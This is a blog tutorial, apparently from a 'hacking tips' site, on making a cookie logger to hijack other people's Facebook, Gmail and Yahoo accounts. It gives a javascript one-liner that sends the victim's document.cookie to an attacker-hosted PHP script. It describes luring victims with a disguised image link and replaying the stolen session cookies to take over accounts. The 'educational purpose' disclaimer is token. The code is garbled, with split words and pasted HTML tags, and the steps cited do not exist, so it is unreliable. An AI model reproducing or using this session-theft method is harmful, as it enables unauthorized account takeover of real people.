[Hacking Tips] How To Make A Cookie Logger To Hack Anyone’s Accounts (Facebook, Gmail, Yahoo etc.)

Anonymous Computer Hacker
Hey guys! Welcome to another ultimate Gurusprovince Tutorial.

Today, we’re gonna be teaching you guys another core and ethical hacking tutorial, that is: How To Make A Cookie Logger To Hack Anyone’s Accounts (Facebook, Gmail, Yahoo etc.).
NOTE: This tutorial is for Educational purpose, we don’t wanna hear that you blown someone’s account using this tutorial(I’m sure you’re not a badt guys **winks**) and if you don’t know anything about hacking, don’t even try to read further.
Before we proceed further on anything pertaining this tutorial, we would like to give you guys a brief definition of cookies logger, maybe one of these days, we’ll give you guys full write up about it, the useful and how it can affect your stuffs.
Have you subscribed to our NEWLETTER? If no, kindly take a minute to do so now before proceeding further in this tutorial.
Are you done? Great! Oya lets go!
Cookie Logger is a Script that is used to steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.
Google, Yahoo, Facebook And some other website always use this to track users.

Hope you’ve now discovered the meaning of COOKIE LOGGER.

Therefore to hack someone’s account using this method, kindly follow the below steps to achieve it.

STEP 1: Create a file which can capture a person’s cookie.
This ought to be the last step anyway, but all the same, it suits being the first.
Give this code to victim to run in his browser (notice that here site name is https://grprovince.com/ so replace or change it with your site name)

javascript:document.location=’ http://THE SITE URL/cookielogger.php?ex=’.concat(escape(docu ment cookie));


READ ALSO:   [HACKING TUTORIAL] Trace Your Facebook Users Location using IP address


Copy the above Script into your Notepad and save the file as “Cookielogger.php

Open your notepad and create another new Notepad File and Save it as “logfile.txt

Upload these files to your server.

cookielogger.php ->  <a href=’http://www.yoursite.com/cookielogger.php’>http://www.yoursite.com/cookielogger.php</a><br />logfile.txt ->  <a href=’http://www.yoursite.com’>http://www.yoursite.com</a> /logfile.txt (chmod 777)


If you don’t have any Website then you can use the following Website to get a Free Website which has PHP support:


Now your cookie logger is ready to be used. Now All You Had To Do is Find The Victim & Try Cookie Logger / Cookie Stealer On Them…

Note :- Give Your Victim The Link Of GIF File just like the below…

javascript:document.location=’ <a .concat=”” docu=”” escape=”” href=”THE SITE URL/cookielogger.php?ex=”>http://THE SITE URL/cookielogger.php?ex=’.concat(escape(docu</a> ment cookie));


When the victim see the post he view the image of your link but when he will click on the image he will redirect on your given link and you will get his cookie in “log.txt“. The Cookie Would Look as Follows:

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9.


To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.
Now for this you will need a Firefox add-on named “Cookie Manager ”

Go to the Website whose Account you have just hacked and you will find that you are logged in as the Victim and now you can change the victim’s account information.

NOTE: Make sure that from Step 6 to Step 8, the Victim should be Online because you are actually hijacking the Victim’s Session so if the Victim clicks on Log-out you will also Log-out automatically.
That’s all guys!! Enjoy!!!
If you encounters any error while using this tutorial, kindly make use of the comment box below.

REMEMBER: Always visit for more interesting topics

About Gurusprovince

Check Also

How to Download Subtitles from YouTube

Sometimes when you find great content on YouTube, you want to have it stored on …

Leave a Reply

Your email address will not be published. Required fields are marked *